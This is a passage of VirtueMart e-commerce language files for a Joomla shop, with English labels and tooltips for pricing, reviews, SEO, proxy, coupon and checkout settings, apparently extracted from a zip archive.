empty" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE_TIP="For this function you must enable 'Allow ask questions'. This gives the user the possibility to ask you for a price, when you dont like to publish it" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE="Baseprice" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_EXPLAIN="Depending on where you do your profit/margin calculation it is either your cost price or your calculated price. In the frontend, this price is only displayed to the store administrator." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR="New baseprice modified by chosen product variant" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR_EXPLAIN="The baseprice gets modified by the chosen product variant. In the frontend, this price is only displayed to the store administrator." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX="Baseprice with Tax, but without discounts" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX_EXPLAIN="useful to show the old price without discount" COM_VIRTUEMART_ADMIN_CFG_PRICE_CONFIGURATION="Price Configuration" COM_VIRTUEMART_ADMIN_CFG_PRICE_CVARSWT="Display variant prices with tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_CVARSWT_EXPLAIN="You can display the extra prices of variants (for exmample in the dropdown) with or without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX="Discounted Price without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX_EXPLAIN="This is interesting for Traders and Merchants (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT="Discount amount" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT_EXPLAIN="Useful for the you save X money" COM_VIRTUEMART_ADMIN_CFG_PRICE_RAPPENRUNDUNG="Use for swizz CHF the Rappenrundung" COM_VIRTUEMART_ADMIN_CFG_PRICE_RAPPENRUNDUNG_TIP="only for the swiss, rounds only the display always to 0.00 or 0.05" COM_VIRTUEMART_ADMIN_CFG_PRICE_ROUNDINDIG="Round only display" COM_VIRTUEMART_ADMIN_CFG_PRICE_ROUNDINDIG_TIP="We advice to use this option, the rounding is only done on the display, the results are more accurate" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE="Final salesprice" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_EXPLAIN="This is the price the shopper actually has to pay" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD="Salesprice with discount, but without override" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD_EXPLAIN="This is the same as the salesprice, except you used the product specific override option" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX="Salesprice without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX_EXPLAIN="This is interesting for Traders and Merchants (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL="Show the price label for packaging?" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL_TIP="When checked, the price label is derived from the products unit and packaging values" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX="Show Tax in Cart" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX_TIP="Display Tax details in Cart" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT="Tax amount" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT_EXPLAIN="Shows only the tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE="Unit price" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE_EXPLAIN="A unit price for products sold in units, for example in meter, liter, kilograms" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD="Baseprice modificator" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD_EXPLAIN="The modificator of the baseprice due the chosen product variant" COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB="Pricing" COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB="Product Order Settings" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW="Default number of products in a row" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW_EXPLAIN="This defines the number of products in a row.
    " COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT="Product layout" COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT_EXPLAIN="This is the default layout for displaying product details." COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS="Proxy password" COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS_TIP="If the proxy requires authentication please fill in the correct password here." COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT="Proxy Port" COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT_TIP="The port used for communication with the proxy server (mostly 80 or 8080)." COM_VIRTUEMART_ADMIN_CFG_PROXY_SETTINGS="Global Proxy Settings" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL="URL of the proxy server" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL_TIP="Example" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER="Proxy username" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER_TIP="If the proxy requires authentication please fill in your username here." COM_VIRTUEMART_ADMIN_CFG_RATING="Enable Rating System for" COM_VIRTUEMART_ADMIN_CFG_RATING_EXPLAIN="If enabled, you allow shoppers to see the product rating." COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL="Everybody" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT="Shoppers who bought the product" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE="Disabled" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED="Registered" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW="Show Rating" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL="To Everybody" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_EXPLAIN="If enabled, you allow shoppers to rate the products." COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE="None" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED="To Registered Users" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS="Rows for recent" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS_EXPL="This defines the number of rows for recent products." COM_VIRTUEMART_ADMIN_CFG_REVIEW="Enable Review System for" COM_VIRTUEMART_ADMIN_CFG_REVIEW_EXPLAIN="If enabled, you allow shoppers to rate products and write reviews about them.
    " COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH="Comment Maximum Length" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH_TIP="This is the maximum amount of characters that can be written by a shopper in a comment." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH="Comment Minimum Length" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH_TIP="This is the amount of characters that MUST at least be written by a shopper before the review can be submitted." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL="Everybody" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT="Shoppers who bought the product" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE="Disabled" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED="To Registered users" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW="Show Review" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL="Show to Everybody" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_EXPLAIN="If enabled, you allow shoppers to read the reviews about the products." COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE="Don't show" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED="Show to Registered users" COM_VIRTUEMART_ADMIN_CFG_REVIEW_TITLE="Shopper Review/Rating System" COM_VIRTUEMART_ADMIN_CFG_SEF="SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE="SEO Disabled" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE_TIP="If checked, the SEO is disabled. When not checked, the SEO is enabled." COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE="Enable VirtueMart SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE_TIP="Activate the VirtueMart router.php" COM_VIRTUEMART_ADMIN_CFG_SEO_SETTINGS="SEO Settings" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX="Seo Suffix" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX_TIP="Seo Suffix to add at the end of product URLs" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE="Translate Strings" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE_TIP="If enabled, the URL uses the languages file for the VirtueMart strings in the URL. Otherwise, the URLs are created with default strings." COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID="Use Product and Category IDs" COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID_TIP="If enabled, the Product ID, and the Category ID will be added in the URL. Otherwise, the URL contains only the Product name or the Category name" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB="Shopfront" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONT_SETTINGS="Shopfront Settings" COM_VIRTUEMART_ADMIN_CFG_SHOPTAB="Shop" COM_VIRTUEMART_ADMIN_CFG_SHOP_ADVANCED="Advanced Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_EMAILS="Emails Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_LANGUAGES="Languages Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE="Shop is offline?" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_MSG="Offline Message" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_TIP="If you check this, the Shop will display an Offline Message." COM_VIRTUEMART_ADMIN_CFG_SHOP_SETTINGS="Shop Settings" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION="Show footer" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION_EXPLAIN="Displays a powered-by-VirtueMart footer image." COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES="Show Categories" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES_TIP="If checked, VirtueMart home page will display the product categories." COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY="Show Children Category" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY_EXPLAIN="If checked, Children categories will be displayed in the category view , and Product view." COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED="Show featured" COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED_TIP="If checked, VirtueMart home page will display Featured products" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST="Show latest products" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST_TIP="If checked, VirtueMart home page will display the latest products" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS="Show Manufacturers" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS_EXPLAIN="If checked, Manufacturers will displayed." COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS="Show Products Out of Stock" COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS_EXPLAIN="When enabled, Products that are currently not in Stock are displayed. Otherwise, such Products are hidden." COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES="Show Prices" COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES_EXPLAIN="Check to show prices. If using catalogue functionality, some don't want prices to appear on pages." COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT="Show recent" COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT_TIP="If checked, VirtueMart home page will display Recent products" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC="Show Store Description" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC_TIP="If checked, VirtueMart home page will display the Store Description." COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN="Show Top ten products" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN_TIP="If checked, VirtueMart home page will display Top ten products" COM_VIRTUEMART_ADMIN_CFG_SSL="Enable SSL for sensitive areas (recommended)" COM_VIRTUEMART_ADMIN_CFG_SSL_EXPLAIN="This forces joomla to use SSL for the links in the cart and the user area. Be sure to use the right joomla settings for the user maintenance, the guest order and the login. Requires the prior installation of an SSL certificate for your domain/IP address" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES="Default Order Status to create an invoice" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES_TIP="Default Order Status to create an invoice. Select also the download status for the emails, to directly send the invoice. Can be overriden by the payment method" COM_VIRTUEMART_ADMIN_CFG_SYSTEMTAB="System" COM_VIRTUEMART_ADMIN_CFG_SYSTEM_SETTINGS="System Settings" COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB="Templates" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT="Thumbnail Image Height" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT_TIP="The target height of the resized Thumbnail Image." COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH="Thumbnail Image Width" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH_TIP="The target width of the resized Thumbnail Image." COM_VIRTUEMART_ADMIN_CFG_TITLES="Titles and Professional Titles" COM_VIRTUEMART_ADMIN_CFG_TITLES_LBL="Used Titles and Professional Titles" COM_VIRTUEMART_ADMIN_CFG_TOOLS_EXPLAIN="Enable the database Update tool. This tools are done for developers and can break your shop completly. Please use it with caution. " COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS="Rows for Top ten" COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS_EXPL="This defines the number of rows for Top ten products." COM_VIRTUEMART_ADMIN_CFG_USER_REGISTRATION_SETTINGS="User Registration Settings" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE="Use only as catalogue" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE_EXPLAIN="If you check this, you disable all cart functionalities." COM_VIRTUEMART_ADMIN_CHECKOUT_OPC="One Page Checkout enabled" COM_VIRTUEMART_ADMIN_CHECKOUT_OPC_TIP="If enabled, the shipment and payment selection will be displayed in the cart view. Note: if you are using 3rd party templates, the template must have implemented that feature." COM_VIRTUEMART_ADMIN_ONCHECKOUT_CHANGE_SHOPPER="Allow Administrators to change the current Shopper" COM_VIRTUEMART_ADMIN_ONCHECKOUT_CHANGE_SHOPPER_TIP="This option allows administrators to change the current shopper. The user session will be changed to the selected user and the original admin user ID is stored as created_by in the order table. This is usefull if you want to place an order on behalf of your customer in the FE, for which you need full access to the shopper's address(es)." COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED="Only registered users can checkout" COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED_TIP="This option let only registered users make a checkout, you should have 'On checkout, ask for registration' enabled" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO="Show Terms of Service on the cart/checkout?" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO_TIP="Store owners are required by law to inform their shoppers about return and order cancellation policies in most European countries. So this should be enabled in most cases." COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES="Show product images" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES_TIP="Show mini thumbnails of the products in the cart, may break your layout" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER="On checkout, ask for registration" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER_TIP="During the checkout process, the client can register" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS="Show checkout steps" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS_TIP="Text to display before registration page" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND="Show the Recommend to a friend link?" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND_TIP="When enabled, a link is displayed that allows the shopper to send a recommendation email for a specific product." COM_VIRTUEMART_ADMIN_SHOW_PRINTICON="Show the Print View link?" COM_VIRTUEMART_ADMIN_SHOW_PRINTICON_TIP="When enabled, a link is displayed that opens the current page in a new popup for printing it out." COM_VIRTUEMART_ASK_QUESTION_CAPTCHA="Use ReCaptcha for recommendation and ask a question" COM_VIRTUEMART_ASK_QUESTION_CAPTCHA_TIP="Before you enable this you have to enter your Public Key and Private Key into the Joomla ReCaptcha Plugin basic options. For instructiions how to get those keys please read the plugin description." COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH="Question maximum length" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH_EXPLAIN="Maximum valid length for asking a question" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH="Question minimum length" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH_EXPLAIN="Minimum valid length for asking a question" COM_VIRTUEMART_ASK_QUESTION_SHOW="Allows to Ask a question" COM_VIRTUEMART_ASK_QUESTION_SHOW_EXPLAIN="When enabled, a link is displayed that opens in a new popup and allows customers to send a question to the vendor" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL="Default category sort order" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL_TIP="Defines by which field categories are ordered by default on the browse pages" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL="Default product sort order" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL_TIP="Defines by which field products are ordered by default on the browse pages" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_TITLE="Product Sort Order Settings" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL="Available Sort-by fields" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL_TIP="Choose the Sort-by fields for the browse page. Each one defines a sort method for the product browse page. If you deselect all, the Order-By-Form will not be shown." COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL="Available Search Fields" COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL_TIP="Choose the Search-by fields for the browse page. Each one defines a search method for the product browse page. If you deselect all, the Search-Form will not be shown." COM_VIRTUEMART_CFG_ADDITIONAL_IMAGES="Open additional images on main position" COM_VIRTUEMART_CFG_ADDITIONAL_IMAGES_TIP="If enabled, additional images are open on main image position. If disabled, additional images are open direct in lightbox." COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE="Enable content plugins in descriptions?" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE_TIP="If enabled, product and category descriptions are parsed by all published content plugins." COM_VIRTUEMART_CFG_CURRENCY_MODULE="Select a currency converter module" COM_VIRTUEMART_CFG_CURRENCY_MODULE_TIP="This allows you to select a certain currency converter module. Such modules fetch exchange rates from a server and convert one currency into another." COM_VIRTUEMART_CFG_DELDATE_INV="Default delivery date" COM_VIRTUEMART_CFG_DELDATE_INV_TIP="Set here the default delivery date of your invoice. Common is the first option, you can override the used text, or the orderstatus shipped." COM_VIRTUEMART_CFG_ENABLE_FEATURE="Enable this Feature" COM_VIRTUEMART_CFG_FANCY="Use Fancybox" COM_VIRTUEMART_CFG_FANCY_TIP="In case you modded your shop with a lot js, you may stay with facebox, but we suggest fancybox." COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY="Send low stock notification" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY_TIP="Sends a low stock notification if products in stock and booked are lower than the value set in the product edit" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_SHOPPER="Default Order Status to send email to shopper" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_SHOPPER_TIP="You can choose multiple order statuse" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_VENDOR="Default Order Status to send email to vendor" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_VENDOR_TIP="You can choose multiple order statuse" COM_VIRTUEMART_CFG_PAGSEQ_1="For views with 1 item per row" COM_VIRTUEMART_CFG_PAGSEQ_1_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
    Example: 3,5,10,20
    Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_2="For 2 items per row" COM_VIRTUEMART_CFG_PAGSEQ_2_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
    Example: 6,12,18,30
    Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_3="For 3 items per row" COM_VIRTUEMART_CFG_PAGSEQ_3_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
    Example: 6,12,18,24
    Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_4="For 4 items per row" COM_VIRTUEMART_CFG_PAGSEQ_4_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
    Example: 8,24,32,64
    Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_5="For 5 items per row" COM_VIRTUEMART_CFG_PAGSEQ_5_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
    Example: 15,50,100,150
    Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_BE="Backend pagination sequence" COM_VIRTUEMART_CFG_PAGSEQ_BE_TIP="Set a list of numbers separated by commas that will be used in the list box on the backend.
    Example: 15,50,100,150
    Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_POOS_ENABLE="Action when a Product is Out of Stock" COM_VIRTUEMART_CFG_POOS_ENABLE_EXPLAIN="You can define here, which action should happen, when a product is out of stock" COM_VIRTUEMART_CFG_POPUP_REL="Show related products in the popup" COM_VIRTUEMART_CFG_POPUP_REL_TIP="Showing related products in the add to cart popup can increase your conversion rate" COM_VIRTUEMART_COUPONS_ENABLE="Enable Coupon Usage" COM_VIRTUEMART_COUPONS_ENABLE_EXPLAIN="If you enable the Coupon Usage, you allow shoppers to fill in Coupon Numbers to gain discounts on their purchase." COM_VIRTUEMART_COUPONS_EXPIRE="Default Coupon Lifetime" COM_VIRTUEMART_COUPONS_EXPIRE_EXPLAIN="You can set a default lifetime for coupons here; they will expire the given amount of time after creation. This date can be changed per coupon." COM_VIRTUEMART_COUPONS_REMOVE="Order Status to Delete a Gift Coupon" COM_VIRTUEMART_COUPONS_REMOVE_TIP="Gift coupons will be deleted only for those order status" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS="Latest Products - Number of days to display" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS_EXPLAIN="Number of consecutive days on which latest products are being displayed" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY="Latest Products - Sort order of display" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_CREATED="Last created products first" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_EXPLAIN="Sort order of displayed latest products" COM_VIRTUEMART_LIST_LIMIT="Default items per list view" COM_VIRTUEMART_LIST_LIMIT_EXPLAIN="The standard pagination list limit for all listings, back and frontend" COM_VIRTUEMART_LIST_MEDIA="Max items listed displaying media" COM_VIRTUEMART_LIST_MEDIA_TIP="Max items displayed in the listing decide if medias are shown in the list, or not." COM_VIRTUEMART_LLIMIT_INIT_BE="Backend default items per list view" COM_VIRTUEMART_LLIMIT_INIT_BE_TIP="The standard pagination list limit for all listings in the backend" COM_VIRTUEMART_LLIMIT_INIT_FE="Frontend default items per list view" COM_VIRTUEMART_LLIMIT_INIT_FE_TIP="The standard pagination list limit for all listings in the frontend" COM_VIRTUEMART_LWH_UNIT_DEFAULT="Default LWH Unit" COM_VIRTUEMART_LWH_UNIT_DEFAULT_EXPLAIN="Set the default unit for your shop" COM_VIRTUEMART_PDF_ICON_SHOW="Show the pdf view icon?" COM_VIRTUEMART_PDF_ICON_SHOW_EXPLAIN="Show or Hide the pdf link icon" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW="Show the product navigation?" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW_EXPLAIN="Show the product navigation on the top of the product page" COM_VIRTUEMART_RECCOMEND_UNATUH="Allow non logged-in to send a recommendation or ask a question" COM_VIRTUEMART_RECCOMEND_UNATUH_EXPLAIN="When enabled any user can send recommendation on product, ask a question, or call for price, otherwise only logged users are able to use this functions. You can enable it, but check your emails regularly, it can be misused for spam" COM_VIRTUEMART_REGISTRATION_CAPTCHA="Use ReCaptcha for Registration" COM_VIRTUEMART_REGISTRATION_CAPTCHA_EXPLAIN="Before you enable this you have to enter your Public Key and Private Key into the Joomla ReCaptcha Plugin basic options. For instructiions how to get those keys please read the plugin description." COM_VIRTUEMART_REVIEWS_AUTOPUBLISH="Auto-Publish Reviews?" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH_TIP="If checked, reviews are automatically published after being posted. If not, the administrator must approve/publish them." COM_VIRTUEMART_REVIEWS_OS="Order status Review/Rating" COM_VIRTUEMART_REVIEWS_OS_TIP="Order status to enable the Review/Rating in case the option Shoppers who bought the product was selected" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE="Select the default template for your Shop" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE_TIP="Templates allow styling and customizing your shop.
    If no other templates than the 'default' one are present, you haven't installed more templates." COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW="Show uncategorised child products in search results and modules?" COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW_EXPLAIN="When enabled, all products and child products will appear in search results and standard modules. When disabled, any uncategorised child products will not appear, only the parent." COM_VIRTUEMART_VM_ERROR_HANDLING_ENABLE="Enable VirtueMart 404 error handling" COM_VIRTUEMART_VM_ERROR_HANDLING_ENABLE_EXPLAIN="When VirtueMart encounters a 404 error (missing product, missing category, etc), selecting this option will redirect the user to the storefront. Leaving this unchecked will pass the error to Joomla to handle in the usual way." COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT="Default Weight Unit" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT_EXPLAIN="Default Weight Unit used for the products. This value can be changed per product"PKsl>\T3jjicom_virtuemart_update/administrator/components/com_virtuemart/language/en-GB/en-GB.com_virtuemart_log.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART_LOG_FILENAME="File Name" COM_VIRTUEMART_LOG_FILESIZE="File Size" COM_VIRTUEMART_LOG_KB="Kb" COM_VIRTUEMART_LOG_FILEINFO="File Info"PKsl>\+ZZecom_virtuemart_update/administrator/components/com_virtuemart/language/en-GB/en-GB.com_virtuemart.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_ABOUT="About" COM_VIRTUEMART_ACCESS_FORBIDDEN="Access Forbidden" COM_VIRTUEMART_ADD="New" COM_VIRTUEMART_ADDRESS="Address" COM_VIRTUEMART_ADD_COMMENT="Add Comment" COM_VIRTUEMART_ADD_RATING="Add Rating" COM_VIRTUEMART_ADD_SHIPTO_1="Add a new" COM_VIRTUEMART_ADD_SHIPTO_2="Shipment Address" COM_VIRTUEMART_ADMIN="Control Panel" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS="Enable database Update tools" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS_EXPLAIN="Here you can activate tools, which are written for testing and uninstallation. They are used to reset the shop in the installation conditions. Consider that after using a dangerous tool, the configuration is set back to none again." COM_VIRTUEMART_ADMIN_CFG_NO_OVERRIDE="No override" COM_VIRTUEMART_ADMIN_PAYMENT_CONFIGURATION="Configuration" COM_VIRTUEMART_ADMIN_PAYMENT_FORM="Payment Method Information" COM_VIRTUEMART_ADMIN_SECURITY_SETTINGS="Security Settings" COM_VIRTUEMART_ADMIN_SHIPMENT_CONFIGURATION="Configuration" COM_VIRTUEMART_ADMIN_SHIPMENT_FORM="Shipment Method Information" COM_VIRTUEMART_ADMIN_STORE_CREDITCARD_DATA="Store Credit Card Information?" COM_VIRTUEMART_ADMIN_UPDATES="Updates" COM_VIRTUEMART_ADVANCED_SEARCH="Advanced Search" COM_VIRTUEMART_AD_ACY="For a more complex solution to send emails, you may try:
